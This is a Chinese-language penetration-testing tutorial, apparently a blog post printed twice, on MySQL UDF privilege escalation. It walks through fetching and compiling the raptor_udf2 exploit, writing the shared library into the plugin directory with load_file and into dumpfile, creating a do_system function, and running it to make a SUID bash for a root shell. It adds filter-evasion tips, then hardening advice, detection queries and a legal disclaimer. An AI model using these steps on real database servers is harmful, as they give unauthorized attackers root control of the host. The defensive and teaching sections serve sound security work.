MySQL UDF提权实战从编译到提权的完整流程附靶机复现在渗透测试和红队演练中数据库提权一直是攻防对抗的关键环节。MySQL作为最流行的开源数据库之一其UDF用户自定义函数机制为开发者提供了强大的扩展能力但同时也可能成为攻击者获取系统权限的跳板。本文将深入剖析UDF提权的完整技术链条从原理分析到实战操作带你一步步掌握这一高级提权技术。1. UDF提权技术原理深度解析UDF提权的核心在于利用MySQL的自定义函数机制执行系统命令。要理解这一过程我们需要先拆解几个关键技术点MySQL插件目录机制MySQL通过特定的插件目录加载外部共享库不同版本的位置有所差异MySQL 5.1无固定插件目录MySQL ≥5.1默认目录为/usr/lib/mysql/plugin/Windows系统通常为C:\Windows\system32\关键权限检查点成功的UDF提权需要满足三个必要条件高权限数据库账户至少需要CREATE FUNCTION权限secure_file_priv参数为空或指向可写目录目标系统存在可写的插件目录提示可通过show variables like %plugin%;和show variables like %secure_file_priv%;命令验证环境条件提权过程技术路线图graph TD A[获取数据库凭证] -- B[验证插件目录] B -- C[编译恶意so文件] C -- D[上传so到插件目录] D -- E[创建自定义函数] E -- F[执行系统命令]2. 靶机环境搭建与前期准备2.1 实验环境配置推荐使用以下环境进行复现靶机Ubuntu 18.04 MySQL 5.7攻击机Kali Linux 2023网络配置NAT模式关键配置修改为确保实验成功需调整MySQL的以下参数-- 修改my.cnf配置文件 [mysqld] secure_file_priv 2.2 工具准备清单工具名称作用安装命令gcc编译so文件apt install gccsearchsploit搜索漏洞利用代码Kali自带mysql-client数据库连接工具apt install mysql-client3. 完整提权实战流程3.1 漏洞利用代码获取与编译使用searchsploit查找公开的UDF利用代码searchsploit mysql udf # 输出示例 # MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) # MySQL 5.1.19 - lib_mysqludf_sys Remote Library Loading下载并编译1518.c漏洞利用代码searchsploit -m 1518 mv 1518.c raptor_udf2.c gcc -g -c raptor_udf2.c -fPIC gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc3.2 数据库操作关键步骤登录MySQL数据库mysql -u root -p创建中转表并导入so文件use mysql; create table foo(line blob); insert into foo values(load_file(/tmp/raptor_udf2.so)); select * from foo into dumpfile /usr/lib/mysql/plugin/raptor_udf2.so;创建自定义函数create function do_system returns integer soname raptor_udf2.so;3.3 提权操作与验证执行系统命令创建SUID shellselect do_system(cp /bin/bash /tmp/rootbash; chmod xs /tmp/rootbash);在系统shell中验证提权/tmp/rootbash -p whoami # 应返回root4. 防御措施与检测方案4.1 安全加固建议权限最小化原则限制MySQL账户权限禁用非必要插件功能设置严格的secure_file_priv关键配置示例[mysqld] secure_file_priv/var/lib/mysql-files/ local_infile0 skip_symbolic_linksYES4.2 入侵检测指标可疑行为特征异常的CREATE FUNCTION操作插件目录下的陌生.so文件通过MySQL执行的系统命令检测SQL示例-- 检查可疑函数 SELECT * FROM mysql.func WHERE name NOT IN (lib_mysqludf_sys_info,sys_exec); -- 监控插件目录文件变化 SELECT * FROM information_schema.processlist WHERE info LIKE %into dumpfile% OR info LIKE %load_file%;5. 高级技巧与疑难排错5.1 常见错误解决方案问题1编译so文件不兼容解决方案在目标系统上编译验证命令file raptor_udf2.so问题2插件目录不可写替代方案尝试以下目录/usr/lib/mysql/plugin//usr/local/mysql/lib/plugin//var/lib/mysql/5.2 跨平台利用技巧Windows系统特殊处理使用.dll替代.so典型路径C:\Windows\system32\常用函数名cmdshell、sys_exec绕过防护的进阶方法使用Hex编码绕过内容过滤通过MySQL日志文件写入so利用慢查询日志注入6. 法律边界与道德规范在进行任何安全测试前必须获得明确的书面授权。未经授权的渗透测试行为可能违反以下法律法规计算机欺诈与滥用法案CFAA欧盟通用数据保护条例GDPR中国网络安全法建议在以下合法场景中使用本文技术企业授权的内部安全评估CTF竞赛环境经过授权的渗透测试项目在实际测试过程中保持详细的日志记录包括操作时间戳执行的命令记录获取的权限范围访问的数据类型记住技术本身无罪关键在于使用者的意图和方式。作为安全从业者我们应当用技术筑起防御的城墙而非破坏的利器。
MySQL UDF提权实战:从编译到提权的完整流程(附靶机复现)
发布时间:2026/5/23 23:24:52
MySQL UDF提权实战从编译到提权的完整流程附靶机复现在渗透测试和红队演练中数据库提权一直是攻防对抗的关键环节。MySQL作为最流行的开源数据库之一其UDF用户自定义函数机制为开发者提供了强大的扩展能力但同时也可能成为攻击者获取系统权限的跳板。本文将深入剖析UDF提权的完整技术链条从原理分析到实战操作带你一步步掌握这一高级提权技术。1. UDF提权技术原理深度解析UDF提权的核心在于利用MySQL的自定义函数机制执行系统命令。要理解这一过程我们需要先拆解几个关键技术点MySQL插件目录机制MySQL通过特定的插件目录加载外部共享库不同版本的位置有所差异MySQL 5.1无固定插件目录MySQL ≥5.1默认目录为/usr/lib/mysql/plugin/Windows系统通常为C:\Windows\system32\关键权限检查点成功的UDF提权需要满足三个必要条件高权限数据库账户至少需要CREATE FUNCTION权限secure_file_priv参数为空或指向可写目录目标系统存在可写的插件目录提示可通过show variables like %plugin%;和show variables like %secure_file_priv%;命令验证环境条件提权过程技术路线图graph TD A[获取数据库凭证] -- B[验证插件目录] B -- C[编译恶意so文件] C -- D[上传so到插件目录] D -- E[创建自定义函数] E -- F[执行系统命令]2. 靶机环境搭建与前期准备2.1 实验环境配置推荐使用以下环境进行复现靶机Ubuntu 18.04 MySQL 5.7攻击机Kali Linux 2023网络配置NAT模式关键配置修改为确保实验成功需调整MySQL的以下参数-- 修改my.cnf配置文件 [mysqld] secure_file_priv 2.2 工具准备清单工具名称作用安装命令gcc编译so文件apt install gccsearchsploit搜索漏洞利用代码Kali自带mysql-client数据库连接工具apt install mysql-client3. 完整提权实战流程3.1 漏洞利用代码获取与编译使用searchsploit查找公开的UDF利用代码searchsploit mysql udf # 输出示例 # MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) # MySQL 5.1.19 - lib_mysqludf_sys Remote Library Loading下载并编译1518.c漏洞利用代码searchsploit -m 1518 mv 1518.c raptor_udf2.c gcc -g -c raptor_udf2.c -fPIC gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc3.2 数据库操作关键步骤登录MySQL数据库mysql -u root -p创建中转表并导入so文件use mysql; create table foo(line blob); insert into foo values(load_file(/tmp/raptor_udf2.so)); select * from foo into dumpfile /usr/lib/mysql/plugin/raptor_udf2.so;创建自定义函数create function do_system returns integer soname raptor_udf2.so;3.3 提权操作与验证执行系统命令创建SUID shellselect do_system(cp /bin/bash /tmp/rootbash; chmod xs /tmp/rootbash);在系统shell中验证提权/tmp/rootbash -p whoami # 应返回root4. 防御措施与检测方案4.1 安全加固建议权限最小化原则限制MySQL账户权限禁用非必要插件功能设置严格的secure_file_priv关键配置示例[mysqld] secure_file_priv/var/lib/mysql-files/ local_infile0 skip_symbolic_linksYES4.2 入侵检测指标可疑行为特征异常的CREATE FUNCTION操作插件目录下的陌生.so文件通过MySQL执行的系统命令检测SQL示例-- 检查可疑函数 SELECT * FROM mysql.func WHERE name NOT IN (lib_mysqludf_sys_info,sys_exec); -- 监控插件目录文件变化 SELECT * FROM information_schema.processlist WHERE info LIKE %into dumpfile% OR info LIKE %load_file%;5. 高级技巧与疑难排错5.1 常见错误解决方案问题1编译so文件不兼容解决方案在目标系统上编译验证命令file raptor_udf2.so问题2插件目录不可写替代方案尝试以下目录/usr/lib/mysql/plugin//usr/local/mysql/lib/plugin//var/lib/mysql/5.2 跨平台利用技巧Windows系统特殊处理使用.dll替代.so典型路径C:\Windows\system32\常用函数名cmdshell、sys_exec绕过防护的进阶方法使用Hex编码绕过内容过滤通过MySQL日志文件写入so利用慢查询日志注入6. 法律边界与道德规范在进行任何安全测试前必须获得明确的书面授权。未经授权的渗透测试行为可能违反以下法律法规计算机欺诈与滥用法案CFAA欧盟通用数据保护条例GDPR中国网络安全法建议在以下合法场景中使用本文技术企业授权的内部安全评估CTF竞赛环境经过授权的渗透测试项目在实际测试过程中保持详细的日志记录包括操作时间戳执行的命令记录获取的权限范围访问的数据类型记住技术本身无罪关键在于使用者的意图和方式。作为安全从业者我们应当用技术筑起防御的城墙而非破坏的利器。